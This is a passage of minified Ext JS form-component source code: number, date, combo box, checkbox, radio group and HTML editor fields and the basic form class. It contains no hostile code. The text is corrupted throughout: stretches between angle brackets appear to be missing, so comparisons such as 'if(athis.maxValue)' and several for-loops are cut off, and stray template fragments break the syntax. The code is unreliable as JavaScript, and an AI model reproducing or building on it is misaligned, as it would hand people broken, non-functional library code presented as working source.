c=Ext.form.NumberField.superclass.getErrors.apply(this,arguments);b=Ext.isDefined(b)?b:this.processValue(this.getRawValue());if(b.length<1){return c}b=String(b).replace(this.decimalSeparator,".");if(isNaN(b)){c.push(String.format(this.nanText,b))}var a=this.parseValue(b);if(athis.maxValue){c.push(String.format(this.maxText,this.maxValue))}return c},getValue:function(){return this.fixPrecision(this.parseValue(Ext.form.NumberField.superclass.getValue.call(this)))},setValue:function(a){a=this.fixPrecision(a);a=Ext.isNumber(a)?a:parseFloat(String(a).replace(this.decimalSeparator,"."));a=isNaN(a)?"":String(a).replace(".",this.decimalSeparator);return Ext.form.NumberField.superclass.setValue.call(this,a)},setMinValue:function(a){this.minValue=Ext.num(a,Number.NEGATIVE_INFINITY)},setMaxValue:function(a){this.maxValue=Ext.num(a,Number.MAX_VALUE)},parseValue:function(a){a=parseFloat(String(a).replace(this.decimalSeparator,"."));return isNaN(a)?"":a},fixPrecision:function(b){var a=isNaN(b);if(!this.allowDecimals||this.decimalPrecision==-1||a||!b){return a?"":b}return parseFloat(parseFloat(b).toFixed(this.decimalPrecision))},beforeBlur:function(){var a=this.parseValue(this.getRawValue());if(!Ext.isEmpty(a)){this.setValue(a)}}});Ext.reg("numberfield",Ext.form.NumberField);Ext.form.DateField=Ext.extend(Ext.form.TriggerField,{format:"m/d/Y",altFormats:"m/d/Y|n/j/Y|n/j/y|m/j/y|n/d/y|m/j/Y|n/d/Y|m-d-y|m-d-Y|m/d|m-d|md|mdy|mdY|d|Y-m-d|n-j|n/j",disabledDaysText:"Disabled",disabledDatesText:"Disabled",minText:"The date in this field must be equal to or after {0}",maxText:"The date in this field must be equal to or before {0}",invalidText:"{0} is not a valid date - it must be in the format {1}",triggerClass:"x-form-date-trigger",showToday:true,startDay:0,defaultAutoCreate:{tag:"input",type:"text",size:"10",autocomplete:"off"},initTime:"12",initTimeFormat:"H",safeParse:function(b,c){if(/[gGhH]/.test(c.replace(/(\\.)/g,""))){return Date.parseDate(b,c)}else{var a=Date.parseDate(b+" "+this.initTime,c+" "+this.initTimeFormat);if(a){return a.clearTime()}}},initComponent:function(){Ext.form.DateField.superclass.initComponent.call(this);this.addEvents("select");if(Ext.isString(this.minValue)){this.minValue=this.parseDate(this.minValue)}if(Ext.isString(this.maxValue)){this.maxValue=this.parseDate(this.maxValue)}this.disabledDatesRE=null;this.initDisabledDays()},initEvents:function(){Ext.form.DateField.superclass.initEvents.call(this);this.keyNav=new Ext.KeyNav(this.el,{down:function(a){this.onTriggerClick()},scope:this,forceKeyDown:true})},initDisabledDays:function(){if(this.disabledDates){var b=this.disabledDates,a=b.length-1,c="(?:";Ext.each(b,function(g,e){c+=Ext.isDate(g)?"^"+Ext.escapeRe(g.dateFormat(this.format))+"$":b[e];if(e!=a){c+="|"}},this);this.disabledDatesRE=new RegExp(c+")")}},setDisabledDates:function(a){this.disabledDates=a;this.initDisabledDays();if(this.menu){this.menu.picker.setDisabledDates(this.disabledDatesRE)}},setDisabledDays:function(a){this.disabledDays=a;if(this.menu){this.menu.picker.setDisabledDays(a)}},setMinValue:function(a){this.minValue=(Ext.isString(a)?this.parseDate(a):a);if(this.menu){this.menu.picker.setMinDate(this.minValue)}},setMaxValue:function(a){this.maxValue=(Ext.isString(a)?this.parseDate(a):a);if(this.menu){this.menu.picker.setMaxDate(this.maxValue)}},getErrors:function(e){var h=Ext.form.DateField.superclass.getErrors.apply(this,arguments);e=this.formatDate(e||this.processValue(this.getRawValue()));if(e.length<1){return h}var c=e;e=this.parseDate(e);if(!e){h.push(String.format(this.invalidText,c,this.format));return h}var g=e.getTime();if(this.minValue&&gthis.maxValue.clearTime().getTime()){h.push(String.format(this.maxText,this.formatDate(this.maxValue)))}if(this.disabledDays){var a=e.getDay();for(var b=0;b
{'+this.displayField+"}
"}this.view=new Ext.DataView({applyTo:this.innerList,tpl:this.tpl,singleSelect:true,selectedClass:this.selectedClass,itemSelector:this.itemSelector||"."+a+"-item",emptyText:this.listEmptyText,deferEmptyText:false});this.mon(this.view,{containerclick:this.onViewClick,click:this.onViewClick,scope:this});this.bindStore(this.store,true);if(this.resizable){this.resizer=new Ext.Resizable(this.list,{pinned:true,handles:"se"});this.mon(this.resizer,"resize",function(g,d,e){this.maxHeight=e-this.handleHeight-this.list.getFrameWidth("tb")-this.assetHeight;this.listWidth=d;this.innerList.setWidth(d-this.list.getFrameWidth("lr"));this.restrictHeight()},this);this[this.pageSize?"footer":"innerList"].setStyle("margin-bottom",this.handleHeight+"px")}}},getListParent:function(){return document.body},getStore:function(){return this.store},bindStore:function(a,b){if(this.store&&!b){if(this.store!==a&&this.store.autoDestroy){this.store.destroy()}else{this.store.un("beforeload",this.onBeforeLoad,this);this.store.un("load",this.onLoad,this);this.store.un("exception",this.collapse,this)}if(!a){this.store=null;if(this.view){this.view.bindStore(null)}if(this.pageTb){this.pageTb.bindStore(null)}}}if(a){if(!b){this.lastQuery=null;if(this.pageTb){this.pageTb.bindStore(a)}}this.store=Ext.StoreMgr.lookup(a);this.store.on({scope:this,beforeload:this.onBeforeLoad,load:this.onLoad,exception:this.collapse});if(this.view){this.view.bindStore(a)}}},reset:function(){if(this.clearFilterOnReset&&this.mode=="local"){this.store.clearFilter()}Ext.form.ComboBox.superclass.reset.call(this)},initEvents:function(){Ext.form.ComboBox.superclass.initEvents.call(this);this.keyNav=new Ext.KeyNav(this.el,{up:function(a){this.inKeyMode=true;this.selectPrev()},down:function(a){if(!this.isExpanded()){this.onTriggerClick()}else{this.inKeyMode=true;this.selectNext()}},enter:function(a){this.onViewClick()},esc:function(a){this.collapse()},tab:function(a){if(this.forceSelection===true){this.collapse()}else{this.onViewClick(false)}return true},scope:this,doRelay:function(c,b,a){if(a=="down"||this.scope.isExpanded()){var d=Ext.KeyNav.prototype.doRelay.apply(this,arguments);if(!Ext.isIE&&Ext.EventManager.useKeydown){this.scope.fireKey(c)}return d}return true},forceKeyDown:true,defaultEventAction:"stopEvent"});this.queryDelay=Math.max(this.queryDelay||10,this.mode=="local"?10:250);this.dqTask=new Ext.util.DelayedTask(this.initQuery,this);if(this.typeAhead){this.taTask=new Ext.util.DelayedTask(this.onTypeAhead,this)}if(!this.enableKeyEvents){this.mon(this.el,"keyup",this.onKeyUp,this)}},onDestroy:function(){if(this.dqTask){this.dqTask.cancel();this.dqTask=null}this.bindStore(null);Ext.destroy(this.resizer,this.view,this.pageTb,this.list);Ext.destroyMembers(this,"hiddenField");Ext.form.ComboBox.superclass.onDestroy.call(this)},fireKey:function(a){if(!this.isExpanded()){Ext.form.ComboBox.superclass.fireKey.call(this,a)}},onResize:function(a,b){Ext.form.ComboBox.superclass.onResize.apply(this,arguments);if(!isNaN(a)&&this.isVisible()&&this.list){this.doResize(a)}else{this.bufferSize=a}},doResize:function(a){if(!Ext.isDefined(this.listWidth)){var b=Math.max(a,this.minListWidth);this.list.setWidth(b);this.innerList.setWidth(b-this.list.getFrameWidth("lr"))}},onEnable:function(){Ext.form.ComboBox.superclass.onEnable.apply(this,arguments);if(this.hiddenField){this.hiddenField.disabled=false}},onDisable:function(){Ext.form.ComboBox.superclass.onDisable.apply(this,arguments);if(this.hiddenField){this.hiddenField.disabled=true}},onBeforeLoad:function(){if(!this.hasFocus){return}this.innerList.update(this.loadingText?'
'+this.loadingText+"
":"");this.restrictHeight();this.selectedIndex=-1},onLoad:function(){if(!this.hasFocus){return}if(this.store.getCount()>0||this.listEmptyText){this.expand();this.restrictHeight();if(this.lastQuery==this.allQuery){if(this.editable){this.el.dom.select()}if(this.autoSelect!==false&&!this.selectByValue(this.value,true)){this.select(0,true)}}else{if(this.autoSelect!==false){this.selectNext()}if(this.typeAhead&&this.lastKey!=Ext.EventObject.BACKSPACE&&this.lastKey!=Ext.EventObject.DELETE){this.taTask.delay(this.typeAheadDelay)}}}else{this.collapse()}},onTypeAhead:function(){if(this.store.getCount()>0){var b=this.store.getAt(0);var c=b.data[this.displayField];var a=c.length;var d=this.getRawValue().length;if(d!=a){this.setRawValue(c);this.selectText(d,c.length)}}},assertValue:function(){var b=this.getRawValue(),a;if(this.valueField&&Ext.isDefined(this.value)){a=this.findRecord(this.valueField,this.value)}if(!a||a.get(this.displayField)!=b){a=this.findRecord(this.displayField,b)}if(!a&&this.forceSelection){if(b.length>0&&b!=this.emptyText){this.el.dom.value=Ext.value(this.lastSelectionText,"");this.applyEmptyText()}else{this.clearValue()}}else{if(a&&this.valueField){if(this.value==b){return}b=a.get(this.valueField||this.displayField)}this.setValue(b)}},onSelect:function(a,b){if(this.fireEvent("beforeselect",this,a,b)!==false){this.setValue(a.data[this.valueField||this.displayField]);this.collapse();this.fireEvent("select",this,a,b)}},getName:function(){var a=this.hiddenField;return a&&a.name?a.name:this.hiddenName||Ext.form.ComboBox.superclass.getName.call(this)},getValue:function(){if(this.valueField){return Ext.isDefined(this.value)?this.value:""}else{return Ext.form.ComboBox.superclass.getValue.call(this)}},clearValue:function(){if(this.hiddenField){this.hiddenField.value=""}this.setRawValue("");this.lastSelectionText="";this.applyEmptyText();this.value=""},setValue:function(a){var c=a;if(this.valueField){var b=this.findRecord(this.valueField,a);if(b){c=b.data[this.displayField]}else{if(Ext.isDefined(this.valueNotFoundText)){c=this.valueNotFoundText}}}this.lastSelectionText=c;if(this.hiddenField){this.hiddenField.value=Ext.value(a,"")}Ext.form.ComboBox.superclass.setValue.call(this,c);this.value=a;return this},findRecord:function(c,b){var a;if(this.store.getCount()>0){this.store.each(function(d){if(d.data[c]==b){a=d;return false}})}return a},onViewMove:function(b,a){this.inKeyMode=false},onViewOver:function(d,b){if(this.inKeyMode){return}var c=this.view.findItemFromChild(b);if(c){var a=this.view.indexOf(c);this.select(a,false)}},onViewClick:function(b){var a=this.view.getSelectedIndexes()[0],c=this.store,d=c.getAt(a);if(d){this.onSelect(d,a)}else{this.collapse()}if(b!==false){this.el.focus()}},restrictHeight:function(){this.innerList.dom.style.height="";var b=this.innerList.dom,e=this.list.getFrameWidth("tb")+(this.resizable?this.handleHeight:0)+this.assetHeight,c=Math.max(b.clientHeight,b.offsetHeight,b.scrollHeight),a=this.getPosition()[1]-Ext.getBody().getScroll().top,g=Ext.lib.Dom.getViewHeight()-a-this.getSize().height,d=Math.max(a,g,this.minHeight||0)-this.list.shadowOffset-e-5;c=Math.min(c,d,this.maxHeight);this.innerList.setHeight(c);this.list.beginUpdate();this.list.setHeight(c+e);this.list.alignTo.apply(this.list,[this.el].concat(this.listAlign));this.list.endUpdate()},isExpanded:function(){return this.list&&this.list.isVisible()},selectByValue:function(a,c){if(!Ext.isEmpty(a,true)){var b=this.findRecord(this.valueField||this.displayField,a);if(b){this.select(this.store.indexOf(b),c);return true}}return false},select:function(a,c){this.selectedIndex=a;this.view.select(a);if(c!==false){var b=this.view.getNode(a);if(b){this.innerList.scrollChildIntoView(b,false)}}},selectNext:function(){var a=this.store.getCount();if(a>0){if(this.selectedIndex==-1){this.select(0)}else{if(this.selectedIndex0){if(this.selectedIndex==-1){this.select(0)}else{if(this.selectedIndex!==0){this.select(this.selectedIndex-1)}}}},onKeyUp:function(b){var a=b.getKey();if(this.editable!==false&&this.readOnly!==true&&(a==b.BACKSPACE||!b.isSpecialKey())){this.lastKey=a;this.dqTask.delay(this.queryDelay)}Ext.form.ComboBox.superclass.onKeyUp.call(this,b)},validateBlur:function(){return !this.list||!this.list.isVisible()},initQuery:function(){this.doQuery(this.getRawValue())},beforeBlur:function(){this.assertValue()},postBlur:function(){Ext.form.ComboBox.superclass.postBlur.call(this);this.collapse();this.inKeyMode=false},doQuery:function(c,b){c=Ext.isEmpty(c)?"":c;var a={query:c,forceAll:b,combo:this,cancel:false};if(this.fireEvent("beforequery",a)===false||a.cancel){return false}c=a.query;b=a.forceAll;if(b===true||(c.length>=this.minChars)){if(this.lastQuery!==c){this.lastQuery=c;if(this.mode=="local"){this.selectedIndex=-1;if(b){this.store.clearFilter()}else{this.store.filter(this.displayField,c)}this.onLoad()}else{this.store.baseParams[this.queryParam]=c;this.store.load({params:this.getParams(c)});this.expand()}}else{this.selectedIndex=-1;this.onLoad()}}},getParams:function(a){var b={},c=this.store.paramNames;if(this.pageSize){b[c.start]=0;b[c.limit]=this.pageSize}return b},collapse:function(){if(!this.isExpanded()){return}this.list.hide();Ext.getDoc().un("mousewheel",this.collapseIf,this);Ext.getDoc().un("mousedown",this.collapseIf,this);this.fireEvent("collapse",this)},collapseIf:function(a){if(!this.isDestroyed&&!a.within(this.wrap)&&!a.within(this.list)){this.collapse()}},expand:function(){if(this.isExpanded()||!this.hasFocus){return}if(this.title||this.pageSize){this.assetHeight=0;if(this.title){this.assetHeight+=this.header.getHeight()}if(this.pageSize){this.assetHeight+=this.footer.getHeight()}}if(this.bufferSize){this.doResize(this.bufferSize);delete this.bufferSize}this.list.alignTo.apply(this.list,[this.el].concat(this.listAlign));this.list.setZIndex(this.getZIndex());this.list.show();if(Ext.isGecko2){this.innerList.setOverflow("auto")}this.mon(Ext.getDoc(),{scope:this,mousewheel:this.collapseIf,mousedown:this.collapseIf});this.fireEvent("expand",this)},onTriggerClick:function(){if(this.readOnly||this.disabled){return}if(this.isExpanded()){this.collapse();this.el.focus()}else{this.onFocus({});if(this.triggerAction=="all"){this.doQuery(this.allQuery,true)}else{this.doQuery(this.getRawValue())}this.el.focus()}}});Ext.reg("combo",Ext.form.ComboBox);Ext.form.Checkbox=Ext.extend(Ext.form.Field,{focusClass:undefined,fieldClass:"x-form-field",checked:false,boxLabel:" ",defaultAutoCreate:{tag:"input",type:"checkbox",autocomplete:"off"},actionMode:"wrap",initComponent:function(){Ext.form.Checkbox.superclass.initComponent.call(this);this.addEvents("check")},onResize:function(){Ext.form.Checkbox.superclass.onResize.apply(this,arguments);if(!this.boxLabel&&!this.fieldLabel){this.el.alignTo(this.wrap,"c-c")}},initEvents:function(){Ext.form.Checkbox.superclass.initEvents.call(this);this.mon(this.el,{scope:this,click:this.onClick,change:this.onClick})},markInvalid:Ext.emptyFn,clearInvalid:Ext.emptyFn,onRender:function(b,a){Ext.form.Checkbox.superclass.onRender.call(this,b,a);if(this.inputValue!==undefined){this.el.dom.value=this.inputValue}this.wrap=this.el.wrap({cls:"x-form-check-wrap"});if(this.boxLabel){this.wrap.createChild({tag:"label",htmlFor:this.el.id,cls:"x-form-cb-label",html:this.boxLabel})}if(this.checked){this.setValue(true)}else{this.checked=this.el.dom.checked}if(Ext.isIE&&!Ext.isStrict){this.wrap.repaint()}this.resizeEl=this.positionEl=this.wrap},onDestroy:function(){Ext.destroy(this.wrap);Ext.form.Checkbox.superclass.onDestroy.call(this)},initValue:function(){this.originalValue=this.getValue()},getValue:function(){if(this.rendered){return this.el.dom.checked}return this.checked},onClick:function(){if(this.el.dom.checked!=this.checked){this.setValue(this.el.dom.checked)}},setValue:function(a){var c=this.checked,b=this.inputValue;this.checked=(a===true||a==="true"||a=="1"||(b?a==b:String(a).toLowerCase()=="on"));if(this.rendered){this.el.dom.checked=this.checked;this.el.dom.defaultChecked=this.checked}if(c!=this.checked){this.fireEvent("check",this,this.checked);if(this.handler){this.handler.call(this.scope||this,this,this.checked)}}return this}});Ext.reg("checkbox",Ext.form.Checkbox);Ext.form.CheckboxGroup=Ext.extend(Ext.form.Field,{columns:"auto",vertical:false,allowBlank:true,blankText:"You must select at least one item in this group",defaultType:"checkbox",groupCls:"x-form-check-group",initComponent:function(){this.addEvents("change");this.on("change",this.validate,this);Ext.form.CheckboxGroup.superclass.initComponent.call(this)},onRender:function(k,g){if(!this.el){var q={autoEl:{id:this.id},cls:this.groupCls,layout:"column",renderTo:k,bufferResize:false};var a={xtype:"container",defaultType:this.defaultType,layout:"form",defaults:{hideLabel:true,anchor:"100%"}};if(this.items[0].items){Ext.apply(q,{layoutConfig:{columns:this.items.length},defaults:this.defaults,items:this.items});for(var e=0,n=this.items.length;e0&&e%s==0){p++}if(this.items[e].fieldLabel){this.items[e].hideLabel=false}o[p].items.push(this.items[e])}}else{for(var e=0,n=this.items.length;e-1){b.setValue(true)}})},getBox:function(b){var a=null;this.eachItem(function(c){if(b==c||c.dataIndex==b||c.id==b||c.getName()==b){a=c;return false}});return a},getValue:function(){var a=[];this.eachItem(function(b){if(b.checked){a.push(b)}});return a},eachItem:function(b,a){if(this.items&&this.items.each){this.items.each(b,a||this)}},getRawValue:Ext.emptyFn,setRawValue:Ext.emptyFn});Ext.reg("checkboxgroup",Ext.form.CheckboxGroup);Ext.form.CompositeField=Ext.extend(Ext.form.Field,{defaultMargins:"0 5 0 0",skipLastItemMargin:true,isComposite:true,combineErrors:true,labelConnector:", ",initComponent:function(){var g=[],b=this.items,e;for(var d=0,c=b.length;d")},sortErrors:function(){var a=this.items;this.fieldErrors.sort("ASC",function(g,d){var c=function(b){return function(i){return i.getName()==b}};var h=a.findIndexBy(c(g.field)),e=a.findIndexBy(c(d.field));return h1){var a=this.getBox(c);if(a){a.setValue(b);if(a.checked){this.eachItem(function(d){if(d!==a){d.setValue(false)}})}}}else{this.setValueForItem(c)}},setValueForItem:function(a){a=String(a).split(",")[0];this.eachItem(function(b){b.setValue(a==b.inputValue)})},fireChecked:function(){if(!this.checkTask){this.checkTask=new Ext.util.DelayedTask(this.bufferChecked,this)}this.checkTask.delay(10)},bufferChecked:function(){var a=null;this.eachItem(function(b){if(b.checked){a=b;return false}});this.fireEvent("change",this,a)},onDestroy:function(){if(this.checkTask){this.checkTask.cancel();this.checkTask=null}Ext.form.RadioGroup.superclass.onDestroy.call(this)}});Ext.reg("radiogroup",Ext.form.RadioGroup);Ext.form.Hidden=Ext.extend(Ext.form.Field,{inputType:"hidden",shouldLayout:false,onRender:function(){Ext.form.Hidden.superclass.onRender.apply(this,arguments)},initEvents:function(){this.originalValue=this.getValue()},setSize:Ext.emptyFn,setWidth:Ext.emptyFn,setHeight:Ext.emptyFn,setPosition:Ext.emptyFn,setPagePosition:Ext.emptyFn,markInvalid:Ext.emptyFn,clearInvalid:Ext.emptyFn});Ext.reg("hidden",Ext.form.Hidden);Ext.form.BasicForm=Ext.extend(Ext.util.Observable,{constructor:function(b,a){Ext.apply(this,a);if(Ext.isString(this.paramOrder)){this.paramOrder=this.paramOrder.split(/[\s,|]/)}this.items=new Ext.util.MixedCollection(false,function(c){return c.getItemId()});this.addEvents("beforeaction","actionfailed","actioncomplete");if(b){this.initEl(b)}Ext.form.BasicForm.superclass.constructor.call(this)},timeout:30,paramOrder:undefined,paramsAsHash:false,waitTitle:"Please Wait...",activeAction:null,trackResetOnLoad:false,initEl:function(a){this.el=Ext.get(a);this.id=this.el.id||Ext.id();if(!this.standardSubmit){this.el.on("submit",this.onSubmit,this)}this.el.addClass("x-form")},getEl:function(){return this.el},onSubmit:function(a){a.stopEvent()},destroy:function(a){if(a!==true){this.items.each(function(b){Ext.destroy(b)});Ext.destroy(this.el)}this.items.clear();this.purgeListeners()},isValid:function(){var a=true;this.items.each(function(b){if(!b.validate()){a=false}});return a},isDirty:function(){var a=false;this.items.each(function(b){if(b.isDirty()){a=true;return false}});return a},doAction:function(b,a){if(Ext.isString(b)){b=new Ext.form.Action.ACTION_TYPES[b](this,a)}if(this.fireEvent("beforeaction",this,b)!==false){this.beforeAction(b);b.run.defer(100,b)}return this},submit:function(b){b=b||{};if(this.standardSubmit){var a=b.clientValidation===false||this.isValid();if(a){var c=this.el.dom;if(this.url&&Ext.isEmpty(c.action)){c.action=this.url}c.submit()}return a}var d=String.format("{0}submit",this.api?"direct":"");this.doAction(d,b);return this},load:function(a){var b=String.format("{0}load",this.api?"direct":"");this.doAction(b,a);return this},updateRecord:function(b){b.beginEdit();var a=b.fields,d,c;a.each(function(e){d=this.findField(e.name);if(d){c=d.getValue();if(typeof c!=undefined&&c.getGroupValue){c=c.getGroupValue()}else{if(d.eachItem){c=[];d.eachItem(function(g){c.push(g.getValue())})}}b.set(e.name,c)}},this);b.endEdit();return this},loadRecord:function(a){this.setValues(a.data);return this},beforeAction:function(a){this.items.each(function(c){if(c.isFormField&&c.syncValue){c.syncValue()}});var b=a.options;if(b.waitMsg){if(this.waitMsgTarget===true){this.el.mask(b.waitMsg,"x-mask-loading")}else{if(this.waitMsgTarget){this.waitMsgTarget=Ext.get(this.waitMsgTarget);this.waitMsgTarget.mask(b.waitMsg,"x-mask-loading")}else{Ext.MessageBox.wait(b.waitMsg,b.waitTitle||this.waitTitle)}}}},afterAction:function(a,c){this.activeAction=null;var b=a.options;if(b.waitMsg){if(this.waitMsgTarget===true){this.el.unmask()}else{if(this.waitMsgTarget){this.waitMsgTarget.unmask()}else{Ext.MessageBox.updateProgress(1);Ext.MessageBox.hide()}}}if(c){if(b.reset){this.reset()}Ext.callback(b.success,b.scope,[this,a]);this.fireEvent("actioncomplete",this,a)}else{Ext.callback(b.failure,b.scope,[this,a]);this.fireEvent("actionfailed",this,a)}},findField:function(c){var b=this.items.get(c);if(!Ext.isObject(b)){var a=function(d){if(d.isFormField){if(d.dataIndex==c||d.id==c||d.getName()==c){b=d;return false}else{if(d.isComposite){return d.items.each(a)}else{if(d instanceof Ext.form.CheckboxGroup&&d.rendered){return d.eachItem(a)}}}}};this.items.each(a)}return b||null},markInvalid:function(h){if(Ext.isArray(h)){for(var c=0,a=h.length;c':">"),c,"")}return d.join("")},createToolbar:function(e){var c=[];var a=Ext.QuickTips&&Ext.QuickTips.isEnabled();function d(k,h,i){return{itemId:k,cls:"x-btn-icon",iconCls:"x-edit-"+k,enableToggle:h!==false,scope:e,handler:i||e.relayBtnCmd,clickEvent:"mousedown",tooltip:a?e.buttonTips[k]||undefined:undefined,overflowText:e.buttonTips[k].title||undefined,tabIndex:-1}}if(this.enableFont&&!Ext.isSafari2){var g=new Ext.Toolbar.Item({autoEl:{tag:"select",cls:"x-font-select",html:this.createFontOptions()}});c.push(g,"-")}if(this.enableFormat){c.push(d("bold"),d("italic"),d("underline"))}if(this.enableFontSize){c.push("-",d("increasefontsize",false,this.adjustFont),d("decreasefontsize",false,this.adjustFont))}if(this.enableColors){c.push("-",{itemId:"forecolor",cls:"x-btn-icon",iconCls:"x-edit-forecolor",clickEvent:"mousedown",tooltip:a?e.buttonTips.forecolor||undefined:undefined,tabIndex:-1,menu:new Ext.menu.ColorMenu({allowReselect:true,focus:Ext.emptyFn,value:"000000",plain:true,listeners:{scope:this,select:function(i,h){this.execCmd("forecolor",Ext.isWebKit||Ext.isIE?"#"+h:h);this.deferFocus()}},clickEvent:"mousedown"})},{itemId:"backcolor",cls:"x-btn-icon",iconCls:"x-edit-backcolor",clickEvent:"mousedown",tooltip:a?e.buttonTips.backcolor||undefined:undefined,tabIndex:-1,menu:new Ext.menu.ColorMenu({focus:Ext.emptyFn,value:"FFFFFF",plain:true,allowReselect:true,listeners:{scope:this,select:function(i,h){if(Ext.isGecko){this.execCmd("useCSS",false);this.execCmd("hilitecolor",h);this.execCmd("useCSS",true);this.deferFocus()}else{this.execCmd(Ext.isOpera?"hilitecolor":"backcolor",Ext.isWebKit||Ext.isIE?"#"+h:h);this.deferFocus()}}},clickEvent:"mousedown"})})}if(this.enableAlignments){c.push("-",d("justifyleft"),d("justifycenter"),d("justifyright"))}if(!Ext.isSafari2){if(this.enableLinks){c.push("-",d("createlink",false,this.createLink))}if(this.enableLists){c.push("-",d("insertorderedlist"),d("insertunorderedlist"))}if(this.enableSourceEdit){c.push("-",d("sourceedit",true,function(h){this.toggleSourceEdit(!this.sourceEditMode)}))}}var b=new Ext.Toolbar({renderTo:this.wrap.dom.firstChild,items:c});if(g){this.fontSelect=g.el;this.mon(this.fontSelect,"change",function(){var h=this.fontSelect.dom.value;this.relayCmd("fontname",h);this.deferFocus()},this)}this.mon(b.el,"click",function(h){h.preventDefault()});this.tb=b;this.tb.doLayout()},onDisable:function(){this.wrap.mask();Ext.form.HtmlEditor.superclass.onDisable.call(this)},onEnable:function(){this.wrap.unmask();Ext.form.HtmlEditor.superclass.onEnable.call(this)},setReadOnly:function(b){Ext.form.HtmlEditor.superclass.setReadOnly.call(this,b);if(this.initialized){if(Ext.isIE){this.getEditorBody().contentEditable=!b}else{this.setDesignMode(!b)}var a=this.getEditorBody();if(a){a.style.cursor=this.readOnly?"default":"text"}this.disableItems(b)}},getDocMarkup:function(){var a=Ext.fly(this.iframe).getHeight()-this.iframePad*2;return String.format('',this.iframePad,a)},getEditorBody:function(){var a=this.getDoc();return a.body||a.documentElement},getDoc:function(){return Ext.isIE?this.getWin().document:(this.iframe.contentDocument||this.getWin().document)},getWin:function(){return Ext.isIE?this.iframe.contentWindow:window.frames[this.iframe.name]},onRender:function(b,a){Ext.form.HtmlEditor.superclass.onRender.call(this,b,a);this.el.dom.style.border="0 none";this.el.dom.setAttribute("tabIndex",-1);this.el.addClass("x-hidden");if(Ext.isIE){this.el.applyStyles("margin-top:-1px;margin-bottom:-1px;")}this.wrap=this.el.wrap({cls:"x-html-editor-wrap",cn:{cls:"x-html-editor-tb"}});this.createToolbar(this);this.disableItems(true);this.tb.doLayout();this.createIFrame();if(!this.width){var c=this.el.getSize();this.setSize(c.width,this.height||c.height)}this.resizeEl=this.positionEl=this.wrap},createIFrame:function(){var a=document.createElement("iframe");a.name=Ext.id();a.frameBorder="0";a.style.overflow="auto";a.src=Ext.SSL_SECURE_URL;this.wrap.dom.appendChild(a);this.iframe=a;this.monitorTask=Ext.TaskMgr.start({run:this.checkDesignMode,scope:this,interval:100})},initFrame:function(){Ext.TaskMgr.stop(this.monitorTask);var b=this.getDoc();this.win=this.getWin();b.open();b.write(this.getDocMarkup());b.close();var a={run:function(){var c=this.getDoc();if(c.body||c.readyState=="complete"){Ext.TaskMgr.stop(a);this.setDesignMode(true);this.initEditor.defer(10,this)}},interval:10,duration:10000,scope:this};Ext.TaskMgr.start(a)},checkDesignMode:function(){if(this.wrap&&this.wrap.dom.offsetWidth){var a=this.getDoc();if(!a){return}if(!a.editorInitialized||this.getDesignMode()!="on"){this.initFrame()}}},setDesignMode:function(b){var a=this.getDoc();if(a){if(this.readOnly){b=false}a.designMode=(/on|true/i).test(String(b).toLowerCase())?"on":"off"}},getDesignMode:function(){var a=this.getDoc();if(!a){return""}return String(a.designMode).toLowerCase()},disableItems:function(a){if(this.fontSelect){this.fontSelect.dom.disabled=a}this.tb.items.each(function(b){if(b.getItemId()!="sourceedit"){b.setDisabled(a)}})},onResize:function(b,c){Ext.form.HtmlEditor.superclass.onResize.apply(this,arguments);if(this.el&&this.iframe){if(Ext.isNumber(b)){var e=b-this.wrap.getFrameWidth("lr");this.el.setWidth(e);this.tb.setWidth(e);this.iframe.style.width=Math.max(e,0)+"px"}if(Ext.isNumber(c)){var a=c-this.wrap.getFrameWidth("tb")-this.tb.el.getHeight();this.el.setHeight(a);this.iframe.style.height=Math.max(a,0)+"px";var d=this.getEditorBody();if(d){d.style.height=Math.max((a-(this.iframePad*2)),0)+"px"}}}},toggleSourceEdit:function(b){var d,a;if(b===undefined){b=!this.sourceEditMode}this.sourceEditMode=b===true;var c=this.tb.getComponent("sourceedit");if(c.pressed!==this.sourceEditMode){c.toggle(this.sourceEditMode);if(!c.xtbHidden){return}}if(this.sourceEditMode){this.previousSize=this.getSize();d=Ext.get(this.iframe).getHeight();this.disableItems(true);this.syncValue();this.iframe.className="x-hidden";this.el.removeClass("x-hidden");this.el.dom.removeAttribute("tabIndex");this.el.focus();this.el.dom.style.height=d+"px"}else{a=parseInt(this.el.dom.style.height,10);if(this.initialized){this.disableItems(this.readOnly)}this.pushValue();this.iframe.className="";this.el.addClass("x-hidden");this.el.dom.setAttribute("tabIndex",-1);this.deferFocus();this.setSize(this.previousSize);delete this.previousSize;this.iframe.style.height=a+"px"}this.fireEvent("editmodechange",this,this.sourceEditMode)},createLink:function(){var a=prompt(this.createLinkText,this.defaultLinkValue);if(a&&a!="http://"){this.relayCmd("createlink",a)}},initEvents:function(){this.originalValue=this.getValue()},markInvalid:Ext.emptyFn,clearInvalid:Ext.emptyFn,setValue:function(a){Ext.form.HtmlEditor.superclass.setValue.call(this,a);this.pushValue();return this},cleanHtml:function(a){a=String(a);if(Ext.isWebKit){a=a.replace(/\sclass="(?:Apple-style-span|khtml-block-placeholder)"/gi,"")}if(a.charCodeAt(0)==this.defaultValue.replace(/\D/g,"")){a=a.substring(1)}return a},syncValue:function(){if(this.initialized){var d=this.getEditorBody();var c=d.innerHTML;if(Ext.isWebKit){var b=d.getAttribute("style");var a=b.match(/text-align:(.*?);/i);if(a&&a[1]){c='
'+c+"
"}}c=this.cleanHtml(c);if(this.fireEvent("beforesync",this,c)!==false){this.el.dom.value=c;this.fireEvent("sync",this,c)}}},getValue:function(){this[this.sourceEditMode?"pushValue":"syncValue"]();return Ext.form.HtmlEditor.superclass.getValue.call(this)},pushValue:function(){if(this.initialized){var a=this.el.dom.value;if(!this.activated&&a.length<1){a=this.defaultValue}if(this.fireEvent("beforepush",this,a)!==false){this.getEditorBody().innerHTML=a;if(Ext.isGecko){this.setDesignMode(false);this.setDesignMode(true)}this.fireEvent("push",this,a)}}},deferFocus:function(){this.focus.defer(10,this)},focus:function(){if(this.win&&!this.sourceEditMode){this.win.focus()}else{this.el.focus()}},initEditor:function(){try{var 